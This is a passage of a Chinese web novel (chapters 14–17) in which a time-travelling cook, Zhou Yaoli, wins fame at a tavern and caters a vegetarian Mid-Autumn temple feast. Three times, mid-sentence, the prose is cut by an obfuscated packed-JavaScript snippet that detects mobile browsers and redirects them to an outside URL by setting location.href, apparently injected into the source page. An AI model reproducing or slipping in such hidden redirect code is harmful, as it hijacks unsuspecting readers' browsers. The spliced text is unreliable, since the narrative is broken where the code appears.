再往外看便发现连林家郎君都来了，掌柜的慌忙从侧面挤出去。 “林郎君怎也在此！”边说边把人往前拽，将人带进最里面。 林嘉行还为来得及开口，就见酒馆老板拖着他往前挤，身后的文竹更是拽住他的袖子。 好不容易停下来将被拽得歪扭得领子扯正，一抬眸和周瑶理对视上。 周瑶理方才明明瞧见东家在她身后转悠，一溜烟的功夫人就不见了。再找着人就看见本该站在身后的东家拽着不知从哪儿挖来的林嘉行，不住朝她使眼色。 “东家你咋了，中风了？” 王东家朝她翻了个白眼，这娘子怎的说话恁难听。 “黄金酥肉，快让林郎君尝一尝。”老王急得不行，难得的活招牌不能放走了。 奈何那气人的周娘子双手叉腰，“没了。” 王掌柜想着怕是指望不上周瑶理，扯开嗓门吆喝，“各位客官莫着急，明日此菜将在本店正式推出。届时多谢各位捧场！” 等人群散去，只剩一桌杂乱。 见林嘉行还未离开，掌柜的疑惑望去，又扯过周瑶理，“你和林家那位男君相熟？” 周瑶理忙着收拾东西，随口应他，“普通好友。” 怕耽误别人时间，周瑶理对着林嘉行的方向喊道，“你等会哈，快好了。” “不急，你慢慢来。” 林嘉行走上前帮忙，刚拿起碗就被夺走。 王掌柜哪敢让他收拾，伸手抢过碗，连带着把周瑶理一并推出去，“今天辛苦了，快些回去。” 周瑶理见状立马摘下攀膊解下围裙。 “那我先走了，今日多谢李师傅搭手。” 李莽听见了但没回头，只是背对着她轻点下头，再无动作。 周瑶理不免起疑，自己难道得罪他了？不应该的，这几日她都没犯错。 林嘉行还在不远处等她，周瑶理将这事抛之脑后，收拾好便匆匆跑过去。 14. 也算是有点名气了 “财…你怎么有空过来找我？”周瑶理差点说漏嘴，及时刹住。 之前林嘉行又是送金子又是替她张罗家具的，周瑶理认定对方就是系统送给她的财神，但实在不明白为什么不把银两直接送给她。 还特地送个人来陪她，怪麻烦的。算了，可能系统比较内敛含蓄，她就勉强收下了。 沉睡的系统燃尽了所有，无声嘶喊。 他真的不是财神！ “送家中表妹出门，顺道过来看看你。”林嘉行不好意思说道。 时不时就往她这跑，显得自己好似每天都无所事事。 不过送表妹出门倒是不假，林四娘正巧寻好友作伴，林嘉行便顺带捎上她。 “明明郎君一听到周娘子三个字就着急忙慌往馆子赶。”文竹在他身后嘀嘀咕咕。 周瑶理听不大清楚，疑惑看过去问了句什么。 林嘉行一记眼刀飞去，文竹默默闭上嘴。 “刚好，捎你一趟。” “你的手没事吧？” 刚刚扶她上马车时就看到了。 周瑶理顺着他的目光看向自己的手，这才知他所说何事。 方才摆摊时围观人群互相推搡拥挤，奈何油锅温度又高，她只好边盯着锅中的酥肉边虚挡人群，生怕他们不小心将油锅撞翻。 估计那会儿溅上的油点子吧，一不注意都冒起水泡了。 “小事儿，干我们这行有点小伤很正常。” 云禾酒馆离青乌巷不远，只是文竹想着多给二人一点独处空间，马车行得慢些。 他在外头倒是心里美，独留周瑶理二人在马车内尴尬无言，视线对上的瞬间默默挪开眼。 她本就不是多话的人，平时能不同人聊天最好。好在后厨忙碌，鲜少有空闲时候闲聊。 再者，虽说林嘉行多少算得上她在这儿唯一的乡人，但二人之间实在没有过多的交集，一时半会儿更是找不到话题。 上回随口一句打趣的话让俩人双目相对却无言，愣是尴尬了好些天。 周瑶理一次外向换来终生内向，以后能少说点就别开口。 “对了，你今天有遇到奇怪的人吗？” 林嘉行想起文竹说的男人，冒然开口怕令她惊慌，便试探地问道。 奇怪的人？周瑶理皱眉回想。今天摊子前围了一堆人，还真没来得及仔细观察。 见她摇头，林嘉行提着的心放下，估计对方只是随口一说。 “怎么了吗。”周瑶理追问。 看他这副样子，应该是遇到大麻烦了。 不会是有人寻仇来了吧！ 周瑶理越想越觉得眼前的男人不可貌相，探究地眼神在林嘉行身上来回扫过。 没想到这哥们儿入乡随俗还挺快，短短一两月就给自己添上新仇旧恨了。 林嘉行见她一脸鬼祟便知对方心里在想些什么，无奈解释道，“先前文竹听闻有陌生男子扬言…” 林嘉行话说一半时周瑶理心都揪一块儿了，眉头紧促满脸严肃，双手紧握。 难道是扬言取他项上人头？ 接下去的话他不知如何开口才能显得不唐突，抿嘴纠结一番再继续往下说，“要向你说媒。” “哈？”周瑶理呆滞几秒，合着是冲着她来的！ 周瑶理微倾的上半身回直，撸起袖子双手叉腰豪言放话。 “莫担心，我可不是吃素的。” 想当年按箱购入的食材，以她先前的体力，不出三天就能瘫倒在地。刚当上美食博主一周，她便立马给自己报了个健身班。 年初那会儿周瑶理还报了个拳击班，若不是上个月中旬教练腰扭了，她回现代还得去拳击馆报到呢。 林嘉行见此默默闭上嘴，但还是提醒她平日多注意安全。 酒馆的生意日渐火爆，周瑶理紧接着推出金沙鸡翅，更是为云禾招来一批新食客。至此，大伙儿都知云禾新来了个厨子可有创意了。 周瑶理借此机会小火一把，主线进度条总算有所突破。只是光靠把现代菜系一股脑地往雍都搬也不是办法，总会有力竭的一天。 更何况她们现在所处的位置只是区区一介州县，离皇城还远着呢。 “算了，好过查无此人！”周瑶理叹气，至少现在食客们提到云禾便能想起她，好歹有进步。 “周大厨干嘛呢？”燕娘刚从大堂过来，掀起帘子就见她一个人面对墙自言自语。 周瑶理本还在琢磨接下来该怎么发展，听到有人喊自己立马笑着应声。 自从小有名气之后大伙儿都喊她周大厨，把周瑶理美得，晚上做梦都能笑醒。 询问过后才知外头有人寻她，放下抹布跟着燕娘往外走，掀开帘子才知道原是沈秋瑜找她。 “瑜娘今儿怎的有空过来？”周瑶理笑开眼走上前拉着她坐下。 燕娘不认识沈家人，见她二人一副熟络的样子，只当对方是周大厨的闺中密友。不一会儿便提着热茶过来，随后默默退开。 “昨儿本想让晴好上你那儿取字帖的，奈何有事耽误了。” 先前约定好三日一查，平日里若碰上休日，周瑶理便会自个儿送去，有时还会和瑜娘窝在一块儿聊些俏皮话。 但大部分时候都是沈秋瑜让丫鬟上她家取字帖，免得周瑶理平日忙活，下了工还得费时间跑趟沈家。 只不过昨日恰逢沈老夫人领着沈秋瑜去寺里祈福，今早才下山。 沈家马车刚好从石康坊经过，她想着顺道去趟云禾酒馆，便让沈老夫人先行回去。等进了店才想起，谁会天天把字帖揣身上带着。 可巧，周瑶理还真带着了。 “那我跟瑜娘是心有灵犀一点通了。”周瑶理掏出折得平整的纸张递过去。 几次相处下来，周瑶理将沈秋瑜的性子摸了个透彻。这姑娘看着温顺好拿捏，再往深了解就发现，也是个有主见的。 说一不二，该是何时来取字帖绝不会拖。有回她心想偷个小懒应该不算大事，谁知三日一到沈秋瑜便差人来取，她只好将那几张写好的含糊送去。 最后还被重新罚过。 以至于早上出门前她又返回去将桌上叠好的字帖顺上，寻思抽空叫个跑腿给沈秋瑜送去。 周瑶理也是这几日才发现雍都朝还有跑腿一职，称走客。 这些走客常在街上晃荡，多是对镇上各地熟悉到极点的人，就是犄角旮旯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902259|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地儿也能给你送到。 “来都来了，要不吃点东西？”周瑶理听闻她刚从山上下来，想必是饿久了，站起身就想进后厨给她弄些小食垫巴两口。 沈秋瑜见状连忙将她扯住直呼不麻烦，其实她来此还有一事同瑶娘商量。 这会儿馆子里客人不多后厨清闲，黄蛮躲在帘子后头滴溜眼珠子朝着看，打量着非要找出点她的错处才可， 周瑶理拉着瑜娘向外头走去。 “可是出了什么事？”见她满脸踌躇，周瑶理关切问道。 倒也不是大事儿，只是先前和阿家在庙里时碰上同是前来祈福的张家祖孙俩，张小娘子素日和沈秋瑜交好，自是和她说得到一块儿去。 谈到张老夫人预备过段时日在庙里摆宴布施，正愁找不到厨子。以往惯请的厨子家中妻子好不容易怀上，恰逢这几日临盆，那厨子是寸步不离身，便婉拒了张老夫人。 沈秋瑜立马想到了周瑶理。虽说瑶娘从未提及过，但看她日日精打细算，上回还瞧见她的毛笔都呲毛了也不舍得换，多半是拮据的。 她琢磨着倒不如引荐周瑶理给张老夫人，既能解张家燃眉之急。 瑶娘的厨艺她还是信得过的，斋宴定也难不倒她。 “原来是这样。”周瑶理舒口气，她还以为出什么大事了。 “你若是不得空尽管同我说，届时我再回绝张娘子。”沈秋瑜紧接着回道。 当时并未觉得不可之处，等到真要跟人提起时沈秋瑜才发觉不妥。是了，一切只是自己猜想，却未曾问过瑶娘的意思。 若是周瑶理不愿意，但碍于面子硬着头皮接下更是不好。 好在周瑶理欣然接受。 “那敢情好！我巴不得多赚些银子换个大点的房子。” 周瑶理刚租到房子时还觉得不大不小刚刚好，住久了人也挑剔起来，每天在院子里晃悠时总觉得看哪儿都不得劲。 张老夫人设宴的时间刚好是十五日，恰巧那日假休。 那不是中秋节吗？ “中秋设宴？”周瑶理有些疑惑。 八月十五团圆时，怎的会跑庙里设宴。 “张老夫人心善，每年八月十五都会在庙里设午宴，感谢比丘尼一年来为百姓诵经祈福。” 周瑶理点点头，开始打算到时的菜单。 她还从未做过全斋宴，回去得好好琢磨一番才行，马虎不得。 自己丢了脸面不算啥，若是让瑜娘跟着跌份儿就罪过大了。 送走沈秋瑜，刚跨过门槛又听见别人喊自个儿，一转头发现是熟人。 “文郎君今儿得空。”周瑶理笑着看向揣手快步过来的文竹。 “周姑娘莫要笑话我了。” 还不是他家郎君，说是天天来寻周娘子会显得他图谋不轨，这样不好。这几日林嘉行就知道捧着书，要么练练字，过得那叫潇洒自在。 这不，学累了便差他来云禾带份外食回去，顺道看看周瑶理有什么需要他的地方。 “林嘉行想吃什么。” “郎君说了，随姑娘安排。” 周瑶理被逗笑了，倒是个不挑食的。 “行，你先且等着吧。” 15. 努力赚元子，早日住上大房子^…… 既然接下这单，那就得好好准备。 周瑶理接下来的几日，只要得空就开始琢磨斋宴的菜单。但说到底她只是雍都朝的异乡人，也不知昌南道对荤素的界定和现代有何不同。 一个人瞎琢磨必然不行，万一破了忌讳那是要出大事儿的。如此一来，周瑶理立马给深秋瑜捎去封书信。 按理说直接问云禾的同事就行，不必这么麻烦。 王东家对厨子私下接宴的行为向来看得开，只要不耽误酒馆的生意便随他们去。 但在人店里干活还大摇大摆地到处嚷嚷自个儿接了外快，总归不大好。 更何况后厨还有个人虎视眈眈，天天滴溜着眼珠子就等着哪天能抓住周瑶理的小辫子，好将她赶出去。 这些还不算大问题，东家不会计较太多，黄蛮子嘛蹦跶两下被她呛几句就歇菜了。最关键的是，现如今她和李莽之间的氛围有些许微妙。 争锋相对倒算不上，但不复以往的和谐。 自从摆摊过后李莽不知怎的，每天对着周瑶理不是吹胡子瞪眼就是不说话，好似突然哑巴了一样，搞得她满头雾水。 慢慢地二人各据一处，大有王不见王的气势，就连后厨都安静不少。平时后厨刚忙活起来就能听见李莽骂人的声音，中间还穿插着周瑶理的呛声，毫不相让。 思来想去还是直接问瑜娘要好些。 殊不知沈秋瑜实在好心，特地跑了趟云禾酒馆。 恰逢淡季酒馆这些天客人不多，东家早早就歇业放他们回去，因此周瑶理没让她等太久。 “你也太用心了，我都有些不好意思。”周瑶理害羞挠头。 莫名其妙来到雍都朝，虽然身边也有对她满怀恶意的人，但好在大多数都是善良。 不过像沈秋瑜这样费心思对她好的还是头一个。 “这不算什么的，刚好在家中待久闷烦，出来走走也好。”沈秋瑜将手中的册子递给她。 周瑶理接过打开一看，瞬时瞪大眼睛。 整整五页纸，上头密密麻麻全是沈秋瑜所写。先前周瑶理不清楚的地方都做出了细致的解答，就连一些她未曾提及到的地方沈秋瑜都替她想到了，事事俱到。 这会儿周瑶理已经感动到不知该说些什么，道谢的话太苍白。 “我…实在不知该怎么向你道谢。”周瑶理舔过干涩的嘴唇，惟恨自己嘴笨。 “瑶娘说过好友之间就该倾力相助，而且这对我而言算不得麻烦的。” 沈秋瑜在她手背上轻拍。 周瑶理感动得撇嘴，仿佛下一秒就要涕泪横流，“你放心，以后你想吃啥尽管找我，不会饿着你的！” 有了沈秋瑜的册子，一切都好办起来。 周瑶理趁回现代的功夫找了几个菜谱，可惜光靠自己每天背一道再带回雍都抄录下来太浪费时间了。 灵光一闪，她将系统喊出来。 “你给的通道有存储功能吗？” 她打算把菜谱寄存在系统数据库里，这样就方便多了。反正系统给的食谱通道只在刚开始的时候用过，再不用的话她都感觉自己吃亏。 系统想了半天，存储功能倒是有，但是是这么用的吗？ 周瑶理看她还在懵圈阶段趁机打劫，“你不是说这通道是送我的吗，那就得按照我的意思来。” 只是存几张菜谱罢了，又不是犯天条。 一通忽悠下来，系统还真给她开了存储空间。 沈秋瑜不仅将斋食忌讳都标注清楚，还将去年的斋宴菜单一并给了她。周瑶理对比过后决定保留部分原有菜单的类目，剩余的部分替换成自己的创新菜别。 八月十五的前一天，周瑶理下工回家之后草草收拾好行李便开始等待张家的车马。 静庙离城里太远了，得提前一晚上山。 张家来接应的马车没让她等太久，不多时就见挂着张字木牌的马车停在巷口。周瑶理同马夫对过牌件后跳上马车，带着满车箱的食材一并驱车离去。 早在前几日张家人便来取了食材单子，今早就已采购完善。 周瑶理拽紧包裹站在寺庙门外，好奇地四处张望，如此古朴的寺庙她只在电视剧里见过。 庙里出来两位比丘尼，车夫随其中一个走旁路卸货，留下她老实站在原地。 “施主随我来。” “诶，有劳。” 周瑶理跟上对方的脚步，进入山门殿走上层层台阶，再绕过宝殿，花了两刻钟的时间才到厢房。 放下包裹后喊住正要离开的比丘尼，“师父可否再带我去厨房看看？” 寺庙的厨房相对简陋些，但该有的厨具倒是不差，就连那口铁锅都要大上些许。周瑶理走上前去掂量一番，重量果然不容小觑。 完全抬不动。 “时候不早了，施主早些休息歇息。” 谢过带她回厢房的姑子过后，周瑶理一把将自己砸进床里。 从城里一路驾车到这费了不少时间，刚刚又到处走动了会儿，半天下来天全黑了。 庙里寂静，只有几声路过在枝头停歇的鸟儿的啼叫声，显得夜色格外深沉。越是寂寥越催人眠，估计是赶路累着，周瑶理手脚麻利将自己收拾一番，扯过被子呼呼大睡。 “小厨房送了莲子羹过来，郎君可要尝尝？”文竹站在外头轻声叩门，屋内毫无回应。 “郎君歇息了吗？”文竹端着托盘站在门口不敢进去。 林嘉行之前吩咐过，没有他的允许不得擅自进来。但是屋内烛灯还亮着，也不像已经睡下的样子。 过了一会儿还是没听见林嘉行的声音，文竹只好端着托盘蹑手蹑脚悄声离去。 今天一早被庙里的晨钟唤醒，周瑶理看不懂时辰，平日全靠打更人的锣声才避免迟到。 打着哈欠推门一看，天色比她往常起床时还要暗一些。不过今日忙得很，来不及睡回笼觉，周瑶理收拾好就往厨房跑。 绕过宝殿时想着来都来了，干脆进支香再走，居然遇上张老夫人。 昨天抵达静庙时天色已晚，周瑶理没来得及同张家祖孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906378|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打上照面。刚还是昨天带她认路的比丘尼介绍方才知道，眼前之人正是聘主。 “没想到周大厨小小年纪便如此能干。”张老夫人听自个儿孙女提起沈家那丫头举荐了个厨娘，还以为是上了年纪的妇人，没成想这么年轻。 “老夫人抬举。” 厨房那儿还有一堆事等着她，周瑶理同人浅聊两句便先行离去。 之前的厨子还有帮手可言，周瑶理只有自己一个人力，所有食材都得提前备好。 瑜娘给的册子着重强调五荤切记不可用。所谓五荤即五辛，葱、蒜、韭，还有兴渠和薤头。 如此一来，她之前搜罗来的食谱有一大半用不得，周瑶理从中挑选出三道用来替换原有菜单上的菜色。 原菜单上的红汁豆丸最让她困惑，周瑶理问过沈秋瑜，说是酸中带甜，满嘴豆香味儿。既是如此，她便将此改为素浇丸。 原先的豆丸估计只有豆腐一味食材，周瑶理这次准备往里再加点蘑菇和水芹，既能增添风味又能模仿肉质感。 红汁儿也简单，酱汁加少量红曲粉调色即可。 接着便是处理其他食材，最后再和盆面团备用。一切食材准备齐全后，周瑶理出门随手抓过边上洒扫的比丘尼，问过才知这会儿殿内诵经刚结束。 闻言她转身又钻进厨房忙碌起来。斋宴不同于其他宴席，每道菜都需要一起出锅，和当今学校食堂出餐差不多。 稍慢点功夫便耽误事。 先从最繁琐的水煎素包开始。原菜单做的是什锦素菜包，但周瑶理腾不出让面团发酵的时间。现代还可放进冰箱，在这若是隔夜发酵，估计面团都要发酸了。 将其他食材准备完毕，面团刚好醒完。将面团充分排气过后分成大小一致的剂子擀平备用。 馅料部分则做的竹笋芥菜馅儿，八月正值马蹄笋生长的时节，山上的野芥菜也多，不少农人会上山采摘再在集市售卖。 将焯过盐水的笋丁和芥菜碎倒入热锅翻炒简单翻炒片刻捞出，投入适量盐和热油混合均匀即可。 薄薄的面皮放上小团菜馅儿，两手一捏一转配合间，一个褶子均匀大小适中的包子成型。 厨房的铁锅虽大但呈圆底状，一锅最多能放十二个。若是只一口锅慢慢来肯定不行，干脆将另一边锅里的酱料盛出，把锅洗净后双锅齐下。 刚开始还有些不顺畅，等十几个小包子落地，周瑶理已然熟能生巧。不一会儿的功夫整个厨房灶面上铺满盖帘，一个个精致素包排列整齐等待下锅。 张小姐走进厨房时入眼便是此场景，不可思议地看向坐在中间被包子围住但手上动作不减的周瑶理。 动作之快，来回之间包子成型。她甚至没来得及看清楚，盖帘上的空位就又少一个。 瑜娘果然没诓她，确是能担得起的能人。 眼前的光亮被挡住一半，周瑶理这才发现门口站着一面生的年轻女子。疑惑时猛地想到，这位估计便是张小姐吧。 “阿家说此次的厨子着实不凡，我还不信。” 16. 周大厨很神秘 “张小姐说笑了。”周瑶理笑着站起身来，平举双手。 手上沾满了面粉，实在不知往哪儿放。 张舒棠见她此时正忙不好多打扰，同她客套几句便离开。陪她来一块儿前来的比丘尼留下来小声提醒周瑶理，时辰差不多了。 乌泱泱的人群离去后厨房瞬间空阔起来，快速解决完最后一个包子，周瑶理将灶台上的其他盖帘端走。 先将粟米饭蒸上，与此同时另起炉灶起锅烧油，捧过边上备好的豆腐面糊。 手掌稍用力面糊从虎口冒出，用勺子刮下放入油锅中轻轻抖动，仅几秒的功夫就从勺子脱落。盆中面糊逐渐变少，锅中倒是多了许多豆腐丸子。 铲子翻动间热油不停地扬起浇在丸子身上，一颗颗白透的豆腐丸慢慢变得金黄酥脆。 待所有豆腐丸炸制得当后捞出，锅中留下底油倒入先前做好的酱汁，再将沥干油的丸子倒入。金黄香酥的丸子瞬间挂上一层红酱，酸甜味不住地往外冒。 隔壁的粟米饭也蒸好了，打开木盖子就见云雾飞出，紧接着入眼的便是黄白交杂着的蓬松米粒。 周瑶理没有帮手，端菜的活交给其他在外候着的比丘尼。 糖醋藕条这道菜她已经熟练得闭上眼睛都能炒，眨眼间又一道菜出锅。 小小的厨房挤满进进出出端菜的人，但完全没有打乱她的节奏。周瑶理手脚麻利地把两个锅都清洗干净，开始准备做水煎包。 大伙儿都看过菜单，对其中的水煎包和素红烧非常好奇，纷纷好奇地杵在门口踮脚往里看。 铁锅烧得火烫，等油热后周瑶理将包子一个个排列整齐放入锅中。她怕生火的人控制不好火候便自己上手接手风箱，一开始的大火慢慢降下转而变得温和起来。 等包子底部变得金黄立马淋入面粉水，盖上锅盖焖上几分钟。 站得近的人抻长脖子盯着两个铁锅，只见周瑶理一掀盖子，锅中的包子被一层焦脆的面皮粘住紧紧相连，居然还能完整盛出，毫无破损。 两锅齐下效率就是快，边上老实待命的包子排好队一个个往锅中站，盖子掀开立马大变样。底下缀金，白皮中透着点点青色。 “麻烦师傅快些送去，这水煎包就得趁热吃才香。” 周瑶理边叮嘱送菜的比丘尼边转头洗锅，丁点儿时间都不乐意浪费。 将最麻烦的菜送走她才得以放松，但接下来还有三道菜等着她，周瑶理瞬间又打起十二分精神。 原先菜单里的香蕈莲子汤并未被她删去，只是准备在汤里多加一味食材，山药。 周瑶理发现这儿的山药特别绵糯，既能增加汤的浓稠度又不破坏原先的美味。 滚刀切的山药适度煸炒过后直接倒入开水，滚烫的热水将油脂充分溶解，汤水逐渐呈奶白色。香菇片和莲子也不谦让，接着山药的尾巴跳进汤中。 盖上锅盖后周瑶理转身将空闲的铁锅调动起来，焯过水的藕条、木耳还有腐竹，管他三七二十一猛火爆炒，等香味扑鼻时放入用温水泡开的粉丝，最后淋上酱油翻拌均匀即可，这便是三素丝。 煮汤的锅咕噜冒泡已有好长时间，掀盖用汤勺舀起，奶白汤色像瀑布坠落融入锅中。 时候正好。 “让让！出汤了！” 端碗的，拿筷的，全挤在门口。两个扛着大锅往外走的师父扯开喉咙大喊，为自己撕开一条路来。 “周大厨可还有菜没出？” 从殿内跑来的比丘尼跳脚挤进人群好不容易给自己做了个落脚处，扒拉着窗框喊道。 “快了！还差最后一道。” 周瑶理头也没抬，只顾挥动汤勺不停地舀起锅中酱汁一下下泼在冬瓜块上。 最后一道菜便是素红烧，也叫素东坡。 将去瓤冬瓜切成方正的小方块蒸熟，再往锅中倒入酱油和糖熬成酱汁。蒸好的冬瓜块小心放入锅中用酱汁浇淋缓慢上色，出锅前倒入少量面粉水勾芡。 菜谱上用的是玉米淀粉水，可惜这里没有。不过施华蔻试过了，面粉水也能代替。 加入面粉水的酱汁瞬间变得粘稠，咕噜咕噜冒泡，如同滚烫的麦芽糖浆。 “出锅！”大功告成！ 最后一道菜顺利端走，周瑶理扔开手中的锅铲，长吐气后浑身像失去力气般蹲下。 总算…结束了。 只有亲身经历才有资格评判，她现在对那些承接村里宴席的厨师怀有满腔敬意。 她暂且只需要出人力，但那些厨师连食材都要自己去采购，着实佩服！ 周瑶理发誓给再多钱她也不接这类活了，至少三个月内。 差点累断腰。 外头的人喊她一块儿吃饭，周瑶理看向一团乱糟的厨房想着收拾完再走，结果被来唤人的比丘尼强硬带走。 “周大厨莫担心，剩下的碗筷交给我们便罢。” “师父可否慢些。” 周瑶理只在早上的时候吃了点庙里的早饭，但一上午都没歇过，早就饿得两眼发昏脚步虚浮，仿佛下秒低血糖就要犯了。 奈何前边带路的师父脚程又快，她在后头拼命赶还是没追上。 那人回头才发现她状态不佳，急忙走回来搀住连声道歉。 “周大厨快些坐下。”张老夫人看清来人后笑着邀请她一块用饭。 坐在对面的张舒棠醒目地往里挪动，留出位置给她。 周瑶理见状也不好推脱，便顺势坐下。 “你可是帮了老身大忙！”老夫人笑得慈眉善目，看周瑶理是哪哪儿都好。 丸子下肚再塞进一口粟米饭，周瑶理总算寻回精神，朝对面的老人家摆手。 “您说哪儿的话，这是我的份内事。” 拿钱办事天经地义。 但张老夫人确不这么觉得。她这辈子挑剔惯了，好不容易才找着个合她心意的厨子，几年下来倒也满意。 结果今年对方有事耽搁了，这可把她愁坏了。那日她家孙女提起，说是沈家丫头有个相熟的厨子手艺了得。一开始她是不乐意的，但也没其他法子，只能试试了。 谁知这新厨子还真能给她惊喜。 起初的两道菜端上来时张老夫人并未觉得有何特别之处，但那道水煎包一上桌，她和孙女对上眼就知，这人确实有两把刷子。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919118|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒棠去过厨房也看到周瑶理做包子的样子，她以为就是往常那些个儿素包子并不放在心上。没想到出乎她意料，眼前的东西从未见过。 端菜的比丘尼告诉她，周厨子说这叫水煎包。 水煎包？张舒棠带着疑惑夹起一个就发现底下的面皮居然是脆的，轻轻一掰发出咔磁的声响。这还没完，放进嘴中才知道水煎包里头才是大有文章。 外表看着老实的包子，入口竟会爆汁。鲜甜的笋汁混着野芥菜的清香划过舌尖直达喉咙。懊恼自己还未来得及细细品尝，紧致的馅料又给她惊喜。 笋丁的清脆口口增香，芥菜浸满了油水，二者合在一起赛过鲜肉。 “最最让我好奇的便是这道素红烧，”张舒棠满脸兴奋地说道，“居然是冬瓜做的！” 是了，这个时节吃冬瓜最适合不过。而冬瓜的神奇之处便是这“金刚不烂”之身。 即使是蒸过的冬瓜也不会轻易变得软烂，但入口的瞬间又十分上道地化成汁水，夹杂着鲜甜的酱汁着实让人流连忘返。 “周厨子师出何人？”张老夫人好奇，整个昌南道竟有如此才人，想必师傅更是不凡。 周瑶理放下筷子有些害羞地说道，“我不是昌南道人，厨艺是我阿娘传给我的。” 从小到大，她妈妈每次做饭都会喊她在边上观摩，就怕她哪天出门在外不会做饭把自己饿死。 “想必令堂也是卓尔不凡。”张舒棠点头感叹。 周瑶理第一次独自揽宴算是圆满成功，下山时张家祖孙说啥都不让她坐运送货品的马车，拉着她往那辆看着就精致不少的马车走。 “周大厨莫嫌弃。”张舒棠拉着她走进肩舆。 周瑶理汗颜，她哪敢拒绝劳斯莱斯，还是定制版的。 山路坎坷，周瑶理实在累得慌，在这种情况下还能睡得着。等肩头被人拍动她才惊醒，就见张舒棠抿着嘴偷笑。 “未曾问过你住哪儿，只好将你喊醒。” 周瑶理尴尬坐正，“失礼了。” 还好是白天，若是晚上可就麻烦了。活生生的人莫名其妙消失，不得把人吓晕过去。 张家马车在青乌巷外停下，周瑶理谢过祖孙二人便跳下马车。 张舒棠撩开帘子一看立马皱起眉头，“你就住这？” 着实…朴素了些。 周瑶理读懂她未说出口的话，大方向人介绍自己的窝身之地。 “房子嘛能住就行，最关键的还是自个儿如何布置。” 目送对方离去，周瑶理转身走进巷子，刚走没两步就和熟人打了个照面。 怎么他也住这？ 不错，正是黄蛮。 说来好笑，周瑶理此人惯会为自己打算。起初还未当上厨子时每天一大早就往馆子跑，等工作稳定后便开始踩点到店，完全不亏待自己。 反正东家不常来后厨，而且她只是踩点又不是晚到。 这就是为什么搬进青乌巷一个多月却未曾发现黄蛮也住这，俩人出门的时间点根本对不上。 黄蛮瞧见她后哼的一声径直离去，周瑶理在他身后白了一眼。 没礼貌的家伙。 17. 反向画饼 精神紧绷了一上午，周瑶理这会儿已经提不起劲整理东西，回到里屋倒头就睡。 等她再次睁开眼，时至黄昏。 难得休息便也没有开火的打算，好在巷子外头多的是小食摊。周瑶理刚搬过来时就注意到了，奈何平日上工忙，三餐也都在馆子内解决。 恰逢过节无琐事，可给她找着机会上街闲逛。 走街串巷一会功夫，周瑶理两手拎满各色小食满载而归。回家时还和隔壁的婶子打过照面，你来我往间又是一通寒暄。 “哟小周娘子今儿兴致好。”瞧见她大包小包哼着歌慢悠悠往家走，对方忍不住打趣道。 住隔壁的王婶是个手艺人，年轻时丈夫从军就再也没回来过。婶子平时靠卖点绣品过活，日子倒也过得清闲自在。 周瑶理之前在馆子时袖子不小心让火燎了还是王婶给补的，简单缝补几针，焦边的破洞被只花猫占去位置。 “婶子上街买菜啊！”周瑶理瞧见来人，二话不说就把手上的炙烤片鸭强硬塞给对方。 年轻人力气大，王婶实在拗不过她，刚出门又捧着温热袋子回家去。 “完蛋，好想喝糖水。” 这才刚坐下喝口茶润润喉，也不知哪户人家熬了甜粥，甜滋滋的味道飘荡在街头巷尾，钻进墙缝霸占了周瑶理院中的每个角落。 一不做二不休，放下筷子她起身躲进橱柜里翻翻找找，丁零当啷捣鼓几下端着盆面团坐下。 中秋节肯定得吃圆子！ 水开将揉搓成小巧玲珑的糯米丸子一股脑地倒进锅中，缓缓推动间丸子慢慢浮上水面。 周瑶理翻出藏在柜子最底层的红糖，掰开小块投入水中。等红糖溶化的过程，白玉丸子也染上了糖色，表层附上一层琥珀糖衣。 出锅前她偷偷尝过，软糯哏啾的丸子裹着清甜的糖水，这才有中秋味儿嘛！ 再在上撒上些干桂花，红糖桂花圆子便做好了。 若是能加点酒酿就更好了。 天色渐暗，周瑶理干脆把厨房的桌椅都搬出来摆在院子里，放上刚做的圆子汤和果脯蜜饯，伴着秋风赏圆月。 时令佳节高位者特例解了宵禁，外头熙熙攘攘的吵闹声衬得屋内更是寂静，只剩下周瑶理细弱的哼唱声。 真惬意！ 虽说她平时总盼着宵禁何时能解，但真到了让她出去闲逛的时候反而锁起门自个儿寻乐。 房梁上的野猫在喵喵叫，门外的叩声倒像是鼓点同猫咪演奏家打起配合。 “找谁？”周瑶理喝着糖水趴在桌上练字，就被门外的敲门声打断。 “周姑娘是我，文竹。” 话音刚落，周瑶理将门打开。 入眼便是笑得跟不要钱似的文竹，再低头就能看见他手上提着烛灯。 造型别致，居然是蟹灯。 “你家郎君今晚给你放假啦？”周瑶理往他身后看，并未瞧见林嘉行的身影。 文竹知道她在找谁，微微躬身说道，“今日家宴郎君不便出门，特地让我将这蟹灯送来。” 